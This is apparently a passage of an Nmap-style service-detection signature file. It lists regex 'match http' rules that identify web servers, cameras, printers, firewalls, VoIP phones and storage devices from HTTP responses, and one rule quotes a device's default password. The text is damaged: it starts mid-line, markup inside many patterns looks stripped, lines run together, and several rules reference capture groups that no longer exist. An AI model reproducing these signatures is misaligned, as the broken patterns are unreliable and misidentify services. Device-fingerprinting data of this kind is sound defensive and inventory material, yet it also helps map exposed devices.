Business Engine ([^\r\n]+)\nConnection: close\nContent-Type: text/html; charset=UTF-8\nCache-Control: no-cache\nPragma: no-cache\nExpires: 0\nContent-Type: text/html\n\n\n500 Internal server error\n\n

          500 Internal server error

          \n
          \n
          M3 Business Engine ServerView
          \n\n$| p/M3 Business Engine ServerView httpd/ v/$1/ match http m|^HTTP/1\.0 200 ok\r\nContent-type: text/plain\r\n\r\nError accessing ''\r\n$| p/OpenSSL s_server -WWW httpd/ cpe:/a:openssl:openssl/ # TODO: hunt down line number/version number correlations match http m|^HTTP/1\.0 200 ok\r\nContent-type: text/plain\r\n\r\nError opening ''\r\n\d+:error:[A-F\d]+:system library:fopen:No such file or directory:bss_file\.c:169:fopen\('','r'\)\n\d+:error:[A-F\d]+:BIO routines:BIO_new_file:no such file:bss_file\.c:172:\n| p/OpenSSL s_server -WWW httpd/ cpe:/a:openssl:openssl/ match http m|^HTTP/1\.0 200 ok\r\nContent-type: text/html\r\n\r\n\n
          \n\n(.*) (?:\nSecure Renegotiation IS(?: NOT)? supported)?\nCiphers supported in s_server binary\n| p/OpenSSL s_server -www httpd/ i/command line: $1/ cpe:/a:openssl:openssl/
          match http m|^HTTP/1\.1 302 Moved Temporarily\r\n(?:[^\r\n]+\r\n)*?Server: go1984\r\n(?:[^\r\n]+\r\n)*?Location: http://([\w._-]+)(?::\d+)?/([\w._-]+)/Default/index\.htm\r\n\r\n|s p/go1984 httpd/ i/session ID $2/ d/webcam/ h/$1/
          match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nAccept-Ranges: none\r\n.*\r\n.*|s p/Wind River Web Server/ v/$1/ i/Fujitsu-Siemens FibreCAT SX80 NAS device http config/ d/storage-misc/
          match http m|^HTTP/1\.1 200 OK\r\nServer: WindRiver-WebServer/([\w._-]+)\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n.*.*.*HP StorageWorks MSA Storage Management Utility|s p/Wind River Web Server/ v/$1/ i/HP StorageWorks MSA http config/ d/storage-misc/
          match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: MarratechPortal/([\w._-]+) \(Java ([\w._-]+); Windows ([^)]+)\) build/(\d+)\r\n|s p/Marratech Portal/ v/$1 build $4/ i/Java $2; Windows $3/ o/Windows/ cpe:/a:sun:jre:$2/ cpe:/o:microsoft:windows/a
          match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: BBVS\r\nContent-type: text/plain\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"SecuritySpy Web Server\"\r\n\r\n401 Unauthorized\r\n$|s p/SecuritySpy webcam viewer httpd/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a
          match http m|^HTTP/1\.1 200 OK\r\nServer: BBVS/([\w._-]+)\r\nKeep-Alive: timeout=20, max=100\r\nConnection: Keep-Alive\r\nAccept-Ranges: bytes\r\nContent-Length: 6258\r\nContent-Type: text/html\r\n\r\n\n\nSecuritySpy Web Server\n| p/SecuritySpy webcam viewer httpd/ v/$1/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a
          match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Type: text/html\r\nExpires:0\r\npragma:no-cache\r\n\r\n\r\n\r\n\r\n\r\n$| p/TED 5000 power use monitor/ d/power-device/
          # http://java423.vicp.net:8652/infoserver.central/data/syshbk/collections/TECHNICALINSTRUCTION/1-61-208775-1.html
          match http m|^HTTP/1\.0 400 Malformed Header in \r\nContent-Type: text/html\r\n\r\n$| p/Sun ScApp bytecode transfer httpd/
          match http m|^HTTP/1\.1 200 OK\r\n\r\nFile SharePublic
          $| p/File Share httpd/ i/Android mobile phone/ d/phone/ o/Linux/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\n.*VoIP Gateway.*|s p/D-Link DVS-4088S, DVS-5088S, or DVG-7062S VoIP gateway http config/ d/VoIP adapter/ match http m|^HTTP/1\.0 200 OK\r\nServer: BEJY V([\w._-]+) HTTP ([\w._-]+) \r\n| p/BEJY httpd/ v/$2/ i/BEJY $1/ match http m|^HTTP/1\.0 404 Not Found\r\nServer: Xfire\r\nConnection: close\r\n\r\n\r\n$| p/Xfire httpd/ match http m|^HTTP/1\.0 302 Found\r\nLocation: http://guide(?:test)?\.[\w._-]*opendns\.com/\?url=\r\nContent-type: text/html\r\nContent-Length: 0\r\nConnection: close\r\nDate: .*\r\nServer: OpenDNS Guide\r\n\r\n$| p/OpenDNS Guide/ match http m|^HTTP/1\.0 302 Found\r\nLocation: http://guide(?:test)?\.[\w._-]*opendns\.com/\?url=\r\nContent-Length: 0\r\nConnection: close\r\nDate: .*\r\nServer: OpenDNS Guide\r\n\r\n$| p/OpenDNS Guide/ match http m|^HTTP/1\.0 303 See Other\r\nLocation: http://guide(?:test)?\.[\w._-]*opendns\.com/\?url=\r\nContent-Length: 0\r\nConnection: close\r\nDate: .*\r\nServer: OpenDNS Guide\r\n\r\n$| p/OpenDNS Guide/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n(DocuPrint [\w._-]+) - ([\w._-]+)\r\n| p/Fuji Xerox $1 printer http config/ d/printer/ h/$2/ cpe:/h:fuji:xerox_$1/a match http m|^HTTP/1\.1 502 Bad Gateway\r\nContent-Type: text/html\r\nContent-Length: 487\r\n\r\n\n\n\n\nContent Server Message\n\n\n\nNetwork message format error\. Unable to parse browser environment or content item\. Unable to parse properties\. Name-value pairs are missing an '='\.\n\n$| p/Oracle Universal Content Management httpd/ match http m|^HTTP/1\.0 400 Bad Request\r\nContent-Length: 0\r\n\r\n$| p/IDentifier NameTracer Pro httpd/ match http m|^HTTP/1\.1 200 OK\r\nContent-Length: 155\r\nConnection: close\r\n.*<FortiClient Download Portal|s p/FortiClient firewall http config/ d/firewall/ match http m|^HTTP/1\.1 200 OK\r\nServer: Agranat-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n\r\n \n\n [\w._-]+ \n\n\n\n|s p/Fortinet FortiGate SSL VPN remote http login/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Last-Modified: Tue, 03 Oct 2006 19:21:12 GMT\r\nETag: \"85f_52_4522b828\"\r\n(?:[^\r\n]+\r\n)*?Content-Length: 82\r\n.*location=\"/remote/index\";\n\n\n\n\0{605}$|s p/Fortinet FortiGate-5001 SSL VPN remote http login/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Last-Modified: Wed, 11 Jan 2012 03:34:20 GMT\r\nETag: \"610_4f_4f0d033c\"\r\n(?:[^\r\n]+\r\n)*?Content-Length: 79\r\n.*location=\"/login\";\n\n\n\n|s p/Fortinet FortiGate firewall http proxy admin/ d/firewall/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Last-Modified: Fri, 21 Apr 2000 00:53:33 GMT\r\nETag: W/\"685_4f_4d082ec4\"\r\n(?:[^\r\n]+\r\n)*?Content-Length: 79\r\n.*location=\"/login\";\n\n\n\n|s p/Fortinet FortiGate firewall http proxy admin/ d/firewall/ match http m|^HTTP/1\.1 303 See Other\r\nLocation: https?://([\d.]+:\d+)/fgtauth\?[0-9a-fA-F]+\r\n.*Firewall Authentication|s p/FortiGate Application filtering/ i/Auth server $1/ match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"View Home & Status Web Pages\"\r\n(?:[^\r\n]+\r\n)*?Server: Allegro-Software-RomPager/([\w._-]+)\r\n|s p/Allegro RomPager/ v/$1/ i/Xerox Phaser 8560DN printer http config/ d/printer/ cpe:/a:allegro:rompager:$1/ cpe:/h:xerox:phaser_8560dn/a match http m|^HTTP/1\.1 302 Found\r\nLocation: https://[\d.]+/home\.html\r\nContent-Length: 0\r\nServer: Allegro-Software-RomPager/([\w._-]+)\r\n\r\n$| p/Allegro RomPager/ v/$1/ i/Xerox Phaser 8560DN printer http config/ d/printer/ cpe:/a:allegro:rompager:$1/ cpe:/h:xerox:phaser_8560dn/a match http m|^HTTP/1\.1 200 OK\r\n.*XenServer ([\w._-]+)|s p/Citrix Xen Simple HTTP Server/ i/XenServer $1/ match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?ETag: \"-127477461\"\r\n(?:[^\r\n]+\r\n)*?Server: none\r\n.*Fireware XTM User Authentication|s p/WatchGuard FireBox XTM firewall http config/ d/firewall/ match http m|^HTTP/1\.1 401 Unauthorized\r\nConnection: close\r\nWWW-Authenticate: Basic realm=\"uTorrent\"\r\n\r\n| p/uTorrent WebUI/ o/Windows/ cpe:/a:utorrent:utorrent/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.1 300 ERROR\r\nConnection: keep-alive\r\nContent-Length: 15\r\nContent-Type: text/html\r\n\r\ninvalid request$| p/uTorrent WebUI/ o/Windows/ cpe:/a:utorrent:utorrent/ cpe:/o:microsoft:windows/a # uTorrent 2.0.2 match http m|^HTTP/1\.1 400 ERROR\r\nConnection: keep-alive\r\nContent-Length: 15\r\nContent-Type: text/html\r\n\r\ninvalid request$| p/uTorrent WebUI/ o/Windows/ cpe:/a:utorrent:utorrent/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.1 400 ERROR\r\nConnection: keep-alive\r\nContent-Length: 17\r\nContent-Type: text/html\r\n\r\n\r\ninvalid request$| p/uTorrent WebUI/ o/Windows/ cpe:/a:utorrent:utorrent/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: WYM/([\w._-]+)\r\n(?:[^\r\n]+\r\n)*?Content-Length: 1029\r\nLast-Modified: Tue, 19 May 2009 02:17:02 GMT\r\n\r\n\xef\xbb\xbf\r\n\r\nNVS|s p/WYM httpd/ v/$1/ i/A+V Link NVS-4000 surveillance system http config/ d/webcam/ match http m|^HTTP/1\.1 200 OK\r\nLast-Modified: Mon, 07 Apr 2009 04:00:00 GMT\r\nContent-Type: TEXT/HTML\r\nDate: \w\w\w, \d\d \w\w\w \d\d\d\d \d\d:\d\d:\d\d GMT00:00 GMT\r\nServer: ICOM ([\w._-]+) from SBS\r\nMIME-Version: 1\.0\r\nServer: ICOM [\w._-]+ from SBS\r\nConnection: close\r\nContent-Length: 861\r\n\r\n\r\n\r\nUltraQuest Index HTML| p/ICOM httpd/ v/$1/ i/UltraQuest mainframe reporting/ o|OS/390| cpe:/o:ibm:os_390/a match http m|^HTTP/1\.0 404 Not Found\r\nContent-type: text/html\r\nDate: Sat, 31 Dec 2005 23:02:28 GMT\r\nConnection: close\r\n\r\n404 Not Found\n

          404 Not Found

          \nThe requested URL was not found on this server\.\n\n$| p/BusyBox httpd/ i/Sphairon Turbolink IAD ADSL modem http config/ o/Linux/ cpe:/a:busybox:busybox/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 302\r\nLocation: /login\.vibe\r\n\r\n$| p/VibeStreamer streaming media httpd/ match http m|^\r\n\r\n\r\n\r\n\r\n\r\n<\?xml version=\"1\.0\" encoding=\"ISO-8859-1\"\?>\r\n\r\n\r\n\r\n\r\n\r\n\r\nRealSecure SiteProtector.*\n\n302 Found\n\n

          Found

          \n

          The document has moved here\.

          \n

          Additionally, a 302 Found\nerror was encountered while trying to use an ErrorDocument to handle the request\.

          \n\n$| p/HP System Management httpd/ match http m|^HTTP/1\.0 200 OK\nContent-type: text/html\r\n.*DVR WebViewer\r\n\r\n.*\r\n\r\n|s p/MicroDigital MDR-4600 DVR httpd/ i/Resolution $1x$2; CmdPort $3; StreamPort $4/ d/media device/ match http m|^HTTP/1\.0 200 OK\r\nServer: Senturion/([\w._-]+)\r\n.*Sensatronics: Senturion ([\w._-]+).*Willkommen zur Administration des Telefons|s p/Atcom AT-320 VoIP phone http config/ v/$2/ i/PalmMicro $1 chipset/ cpe:/h:atcom:at-320/a match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Expires: Thu, 01 Jan 1970 00:00:00 GMT\r\n.*Dashboard.*|s p/Red Condor antispam appliance http config/ d/proxy server/ match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Digest realm=\"[\d.]+\", qop=\"auth\", nonce=\"[0-9a-f]+\"\r\n.*BMC HTTP Server\r\n.*\"\"|s p/HP Integrated Lights-Out http config/ d/remote management/ cpe:/h:hp:integrated_lights-out/ match http m|^HTTP/1\.0 300 Multiple Choices\r\nServer: Rockpile Web Server\r\nDate: Sun, 00 Jan 1900 00:00:00 GMT\r\nConnection: close\r\nLocation: http://[\w._-]+/localmenus\.cgi\?func=604\r\nContent-type: text/html\r\n\r\n.*HTTP/1\.0 404 Not Found\r\nServer: Rockpile Web Server\r\nDate: Sun, 00 Jan 1900 00:00:00 GMT\r\n|s p/Rockpile httpd/ i/Cisco 7937 VoIP phone http config/ d/VoIP phone/ cpe:/h:cisco:7937/a match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"CentreWare Internet Services\"\r\n.*\r\n\r\n\r\nFAILED\r\n|s p/FujiXerox ApeosPort-IV C4470 http config/ d/printer/ match http m|^HTTP/1\.1 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: iTP Secure WebServer/([\w._() -]+)\r\nMIME-version: 1\.0\r\nContent-type: text/html\r\nConnection: close\r\n\r\nNot Found

          Not Found

          \n The requested object was not found on this server\.$|s p/iTP Secure WebServer/ v/$1/ i/HP Tandem NonStop/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: iTP Secure WebServer/([\w._() -]+)\r\n.*Index of /|s p/iTP Secure WebServer/ v/$1/ i/HP Tandem NonStop/ match http m|^HTTP/1\.1 302 Moved Temporarily\r\n(?:[^\r\n]+\r\n)*?Server: iTP WebServer with NSJSP/([\w._() -]+) \(HTTP/1\.1 Connector\)\r\nLocation: http://([\w._-]+):\d+/index\.html\r\n|s p/iTP WebServer with NSJSP/ v/$1/ i/HP Tandem NonStop/ h/$2/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Indy/([\w._-]+)\r\n.*GregHSRWLib - RemObjects SDK for \.NET v([\w._-]+)|s p/Indy httpd/ v/$1/ i/.NET $2; Acer Registration Service; greghsrw.exe/ cpe:/a:indy:httpd:$1/ match http m|^HTTP/1\.1 200 OK\r\nETag: W/\"[\d-]+\"\r\n(?:[^\r\n]+\r\n)*?Server: null\r\n.*HP - Data Center Fabric Manager|s p/HP Data Center Fabric Manager http config/ match http m|^HTTP/1\.1 200 OK\r\nETag: W/\"[\d-]+\"\r\n(?:[^\r\n]+\r\n)*?Server: censhare hyena/([\w._-]+)\r\n|s p/censhare hyena httpd/ v/$1/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?ETag: W/\"[\d-]+\"\r\n(?:[^\r\n]+\r\n)*?Server: Undefined\r\n.*|s p/McAfee ePolicy Orchestrator http interface/ cpe:/a:mcafee:epolicy_orchestrator/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?ETag: (?:W/)?\"[\d-]+\"\r\n(?:[^\r\n]+\r\n)*?Server: Undefined\r\n.*|s p/McAfee ePolicy Orchestrator http interface/ cpe:/a:mcafee:epolicy_orchestrator/ match http m|^HTTP/1\.1 401 \r\nDate: Sat, 21 Dec 1996 12:00:00 GMT\r\nWWW-Authenticate: Basic realm=\"Default password:1234\"\r\n\r\n401 Unauthorized - User authentication is required\.$| p/Edimax PS-1206P print server/ d/print server/ match http m|^HTTP/1\.1 301 Moved Permanently\r\n(?:[^\r\n]+\r\n)*?Server: Noelios-Restlet-Engine/([\w._-]+)\r\nLocation: http://([\w._-]+)/index\.html\r\nVary: Accept-Charset,Accept-Encoding,Accept-Language,Accept,User-Agent\r\nContent-Length: 0\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\n$|s p/Noelios Restlet Framework/ v/$1/ i/Sonatype Nexus Maven Repository Manager/ h/$2/ match http m|^HTTP/1\.0 501 Not Implemented\r\nServer: SimpleHTTP/([\w._-]+) Python/([\w._-]+)\r\n(?:[^\r\n]+\r\n)*?Content-Type: text/html\r\nConnection: close\r\n\r\n\nError response\n\n\n

          Error response

          \n

          Error code 501\.\n

          Message: Not Implemented\.\n

          Error code explanation: 501 = Server does not support this operation\.\n\n$|s p/SimpleHTTPServer/ v/$1/ i/rPath Appliance Platform Agent; Python $2/ cpe:/a:python:python:$2/ cpe:/a:python:simplehttpserver:$1/ match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: CMSHTTPD/([\w._-]+) z_VM/([\w._-]+) ([^\r\n]+)\r\n|s p/CMSHTTPD/ v/$1/ i|z/VM $2; $3| o|z/VM| cpe:/o:ibm:z%2fvm:$2/ match http m|^HTTP/1\.0 200 OK\nServer: Cardax Embedded Interface\n.*

          CardaxFT Controller # (\d+) \(ETS\)

          .*
          Version: v([\w._/-]+) BootMon-([\w._-]+)\n$|s p/Cardax FT security system http interface/ v/$2/ i/Controller #$1; BootMon $3/ d/security-misc/ match http m|^HTTP/1\.0 302 Moved Temporarily\r\nAllow: GET,POST,HEAD\r\nMIME-Version: 1\.0\r\nServer: (MA\w+) Server ([\w._-]+)\r\nLocation: http://0\.0\.0\.0\r\n\r\n$| p/Huawei $1 WAP http config/ v/$2/ cpe:/h:huawei:$1/a match http m|^HTTP/1\.0 200 OK\r\nServer: ZyXEL SSLVPN Server v([\w._-]+)\r\n.*ZyWALL SSL(\d+)|s p/ZyXEL ZyWALL SSL $2 SSL-VPN applicance http config/ v/$1/ d/firewall/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: \r\n.*ZyWALL ([^<]+)|s p/ZyXEL ZyWALL $1 firewall http config/ d/firewall/ cpe:/h:zyxel:zywall_$1/a match http m|^HTTP/1\.0 200 OK\r\nExpires: 0\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\nLogin\n\n| p/D-Link DGS-1200T-series switch http config/ d/switch/ match http m|^HTTP/1\.1 505 HTTP Version not supported\r\nContent-Length: 0\r\nDate: .*\r\nAccept-Ranges: bytes\r\n\r\n$| p/Virtual Mic http synchronization/ d/media device/ o/iOS/ cpe:/o:apple:iphone_os/a match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n(?:[^\r\n]+\r\n)*?Server: Wireless Network Camera with Pan/Tilt\r\n|s p/Vivotek Network Camera http config/ d/webcam/ match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n(?:[^\r\n]+\r\n)*?Server: Network Camera with Pan/Tilt\r\n|s p/Vivotek Network Camera http config/ d/webcam/ match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n(?:[^\r\n]+\r\n)*?Server: Network Camera\r\n|s p/Vivotek IP7131 Network Camera http config/ d/webcam/ cpe:/h:vivotek:ip7131/ match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"Remote-Motion CCD Network Camera\"\r\nContent-Type: text/html\r\nServer: Vivotek Network Camera\r\n\r\n\n\nProtected Object\n

          Protected Object

          This object on the server is protected\.

          \n$| p/Vivotek Network Camera http config/ d/webcam/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Web Server\r\n.*NetGear ([\w._-]+)|s p/Netgear $1 switch http config/ d/switch/ cpe:/h:netgear:$1/ match http m|^HTTP/1\.0 200 OK\r\nPragma: no-cache\r\n.*Management.*\n\n\n|s p/Tandberg MXP video conferencing http config/ d/webcam/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: HyNetOS/([\w._-]+)\r\n.*(CS\d+) SNMP/Web Adapter|s p/Effekta MH 6000 UPS http config/ i|$2 SNMP/Web adapter; HyNetOS $1| d/power-device/ o/HyNetOS/ cpe:/o:hyperstone:hynetos:$1/ match http m|^HTTP/1\.1 200 OK\r\nX-Cocoon-Version: ([\w._-]+)\r\nExpires: Thu, 01 Jan 1970 00:00:00 GMT\r\n.*F-Secure Policy Manager Web Reporting|s p/F-Secure Policy Manager http interface/ i/Apache Cocoon $1/ match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: ShellHTTPD/([\w._-]+)\r\n.*Dachstein LEAF Firewall|s p/ShellHTTPD/ v/$1/ i/Dachstein LEAF firewall/ d/firewall/ o/Linux 2.2/ cpe:/o:linux:linux_kernel:2.2/ match http m|^HTTP/1\.0 401 Unauthorized\r\nDate: Thu, 01 Jan 1970 00:00:00 GMT\r\nnServer: avtech/([\w._-]+)\.\.Expires: 0\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nConnection: close\r\nContent-type: text/html;charset=ISO-8859-1\r\nWWW-Authenticate: Basic realm=server\r\nContent-Length: 163\r\n| p/avtech httpd/ v/$1/ i/Postef-8840 ADSL router/ d/broadband router/ match http m|^HTTP/1\.0 200 Script output follows\r\nServer: shinGETsu/([\w._-]+) \(Saku/([\w._-]+)\) Python/([\w._-]+)\r\n| p/Saku/ v/$2/ i/client for shinGETsu $1 BBS; Python $3/ cpe:/a:python:python:$3/ match http m|^HTTP/1\.1 503 HTTP is not licensed\.

          To set up this filer, use /api \.\r\nServer: Data ONTAP/([\w._-]+)\r\n| p/NetApp http vFiler/ o/Data ONTAP $1/ cpe:/a:netapp:data_ontap:$1/ match http m|^HTTP/1\.1 503 HTTP is not licensed\.

          To administer this filer, use /na_admin/ \.\r\nServer: NetApp//([\w._-]+)\r\n| p/NetApp http vFiler/ v/$1/ o/Data ONTAP/ cpe:/a:netapp:data_ontap/ cpe:/o:netapp:data_ontap/a match http m|^HTTP/1\.0 401 Unauthorized\r\nDate: .*\r\nCache-Control: no-cache,no-store\r\nWWW-Authenticate: Basic realm=\"\.\"\r\nContent-Type: text/html; charset=%s\r\nConnection: close\r\n\r\n\n401 Unauthorized\n\n

          401 Unauthorized

          \nAuthorization required\.\n\n\n| p/m0n0wall FreeBSD firewall web interface/ d/firewall/ o/FreeBSD/ cpe:/o:freebsd:freebsd/a match http m|^HTTP/1\.0 401 Unauthorized\r\nDate: .*\r\nCache-Control: no-cache,no-store\r\nWWW-Authenticate: Basic realm=\"\.\"\r\nContent-Type: text/html; charset=%s\r\nConnection: close\r\n\r\n\n401 Unauthorized\n\n

          401 Unauthorized

          \nAuthorization required\. HuaCheng Technologies\n\n\n| p/HuaCheng firewall http config/ d/firewall/ match http m|^HTTP/1\.0 501 Not Implemented\r\nDate: .*\r\nCache-Control: no-cache,no-store\r\nContent-Type: text/html; charset=%s\r\nConnection: close\r\n\r\n\n501 Not Implemented\n\n

          501 Not Implemented

          \nThat method is not implemented\.\n\n\n$| p/Western Digital My Book http config/ d/storage-misc/ match http m|^HTTP/1\.1 200 OK\r\nServer: Axeda Agent Web Server/([\w._-]+)\r\n(?:[^\r\n]+\r\n)*?Last-Modified: 1200004200\r\n.*IM_v8_Data \r\n\r\n\r\n
          \r\n
          \r\n Server at ([\w._-]+) Port \d+|s p/ZyXEL ZyWALL USG 200 firewall http config/ i/redirect to port $1/ d/firewall/ h/$2/ cpe:/h:zyxel:zywall_usg_200/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\n.*\n\t\n\t\n\t\n\t|s p/Buffalo NAS BitTorrent download manager http interface/ d/storage-misc/ match http m|^HTTP/1\.0 200 OK\r\nContent-type: text/html\r\nContent-Encoding: gzip\r\nCache-Control: max-age=600, must-revalidate\r\n\r\n\x1f\x8b\x08\0\0\0\0\0\0\0| p/Modtronix SBC65EC Web Server/ match http m|^HTTP/1\.0 301\r\n(?:[^\r\n]+\r\n)*?Server: OKWS/([\w._-]+)\r\n|s p/OKWS httpd/ v/$1/ match http m|^HTTP/1\.0 200 OK\r\nContent-type: text/html\r\n\r\n.*PowerDownTop\n\n\n$|s p/thttpd/ i/Panasonic IP camera http viewer/ d/webcam/ cpe:/a:acme:thttpd/ match http m|^HTTP/1\.0 200 OK\r\nServer: ZK Web Server\r\nPragma: no-cache\r\nCache-control: no-cache\r\n.*|s p/ZK Web Server/ i/ZKSoftware ZEM500 fingerprint reader; MIPS/ d/security-misc/ o/Linux/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.0 404 Not Found\r\nContent-Length: 69\r\nContent-Type: text/html; charset=UTF-8\r\nServer: TornadoServer/([\w._-]+)\r\n\r\n404: Not Found404: Not Found$| p/Tornado httpd/ v/$1/ cpe:/a:tornadoweb:tornado:$1/a match http m|^HTTP/1\.1 301 0\w\w\w, \d\d \w\w\w \d\d\d\d \d\d:\d\d:\d\d GMT\r\nServer: Agranat-EmWeb/R([\d_]+)\r\nLocation: https://[\d.]+/web/content/index\.html\r\n| p/Agranat-EmWeb/ v/$SUBST(1,"_",".")/ i/Alcatel 7800 switch http config/ d/switch/ cpe:/a:agranat:emweb:$SUBST(1,"_",".")/a cpe:/h:alcatel:7800/a # Juniper SRX-240H UTM firewall # Juniper EX2200-48T-4G switch match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Mbedthis-Appweb/([\w._-]+)\r\nCache-Control: no-cache, must-revalidate\r\nContent-type: text/html\r\nETag: \"[0-9a-f-]+\"\r\n(?:[^\r\n]+\r\n)*?X-Powered-By: PHP/([\w._-]+)\r\nExpires: Mon, 26 Jul 1997 05:00:00 GMT\r\n.*Log In - Juniper Web Device Manager|s p/Mbedthis-Appweb/ v/$1/ i/PHP $2/ d/firewall/ o/JUNOS/ cpe:/a:mbedthis:appweb:$1/ cpe:/a:php:php:$2/ cpe:/o:juniper:junos/a match http m|^HTTP/1\.0 403 Not Authorized\r\nContent-Type: text/html\r\nContent-Length: 379\r\n\r\n<\?xml version=\"1\.0\" encoding=\"US-ASCII\"\?>.*

          Will not send listings for this directory\.

          \r\n\r\n\r\n|s p/Ashd httpd/ match http m|^HTTP/1\.1 200\r\nContent-type: text/html\r\nConnection: close\r\nCONTENT-LENGTH: \d+\r\n.*\r\n.*Phoenix PowerAgent GP|s p/Phoenix PowerAgent GP power monitor http interface/ d/power-device/ match http m|^HTTP/1\.0 200 OK\r\nAccept-Ranges: none\r\nConnection: close\r\nContent-Encoding: identity\r\nContent-Length: 4240\r\nContent-Type: text/html; charset=ISO-8859-1\r\n(?:[^\r\n]+\r\n)*?Server: IST OIS\r\n.*Allworx Hosted Web Site|s p/Allworx 6x VoIP phone http config/ d/VoIP phone/ cpe:/h:allworx:6x/a match http m|^HTTP/1\.0 403 Forbidden\r\nAccept-Ranges: none\r\nConnection: close\r\nContent-Encoding: identity\r\nContent-Length: 0\r\nContent-Type: text/plain\r\nDate: .*\r\nServer: IST OIS\r\n\r\n$| p/Allworx VoIP network server http admin/ d/VoIP adapter/ match http m|^HTTP/1\.0 401 Unauthorized\r\nDate: .*\r\nWWW-Authenticate: Basic realm=\"ACEswitch@[\d.]+\"\r\n\r\n401 Unauthorized\r\n$| p/Alteon 2424-SSL load balancer http config/ d/load balancer/ match http m|^HTTP/1\.0 302 Found\r\nConnection: Close\r\nLocation: /search\?site=default_collection&client=default_frontend&output=xml_no_dtd&proxystylesheet=default_frontend&proxycustom=\r\nContent-Type: text/html\r\nContent-Length: 0\r\n\r\n$| p/Google Mini search appliance httpd/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Apache/x\.x\.x \(Unix\) mod_ssl/x\.x\.x OpenSSL/([\w._-]+)\r\n.* FASTORA Filer Storage Manager .*classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\">|s p/Apache httpd/ i/Fastora NAS T2 NAS device; OpenSSL $1/ d/storage-misc/ o/FreeBSD/ cpe:/a:apache:http_server/ cpe:/a:openssl:openssl:$1/ cpe:/o:freebsd:freebsd/a match http m|^HTTP/1\.1 400 Bad Request\r\nDate: .*\r\nCache-Control: private\r\nServer: IPOffice/([\w._()-]+)\r\nContent-Type: text/plain\r\nContent-Length: 13\r\n\r\nParsing error$| p/Avaya IP Office VoIP PBX httpd/ v/$1/ d/PBX/ match http m|^HTTP/1\.0 301 Moved Permanently\r\nDate: .*\r\n(?:Expires: .*\r\n)?Cache-Control: private(?:,max-age=\d+)?\r\nLocation: /index\.html\r\nServer: IPOffice/([\w._()-]+)\r\nContent-Type: text/plain\r\nContent-Length: 22\r\n\r\nRedirect to index\.html$| p/Avaya IP Office VoIP PBX httpd/ v/$1/ d/PBX/ match http m|^HTTP/1\.0 301 Moved Permanently\r\nDate: .*\r\n(?:Expires: .*\r\n)?Cache-Control: private(?:,max-age=\d+)?\r\nLocation: /index\.html\r\nServer: IPOffice/\r\nContent-Type: text/plain\r\nContent-Length: 22\r\n\r\nRedirect to index\.html$| p/Avaya IP Office VoIP PBX httpd/ d/PBX/ match http m|^HTTP/1\.0 404 Not Found\r\nConnection: close\r\nServer: SimpleHTTPtutorial v([\w._-]+)\r\n\r\n$| p/SimpleHTTPtutorial httpd/ v/$1/ match http m|^HTTP/1\.0 200 OK\n.*Server: uClinux-httpd ([\w._-]+)\nExpires: 0\n\n.*DxClient NetViewer.*Welcome.*\n\n\n| p/Speakerbus iD101 VoIP phone http config/ d/VoIP phone/ cpe:/h:speakerbus:id101/ match http m|^HTTP/1\.0 401 Unauthorized\nContent-Type: text/html; charset=iso-8859-1\nExpires: Thu, 01 Dec 1994 23:12:40 GMT\nServer: ServersCheck_Monitoring_Server/([\w._-]+)\n.*

          Username / Password is still (\w+/\w+)\. Please update\.

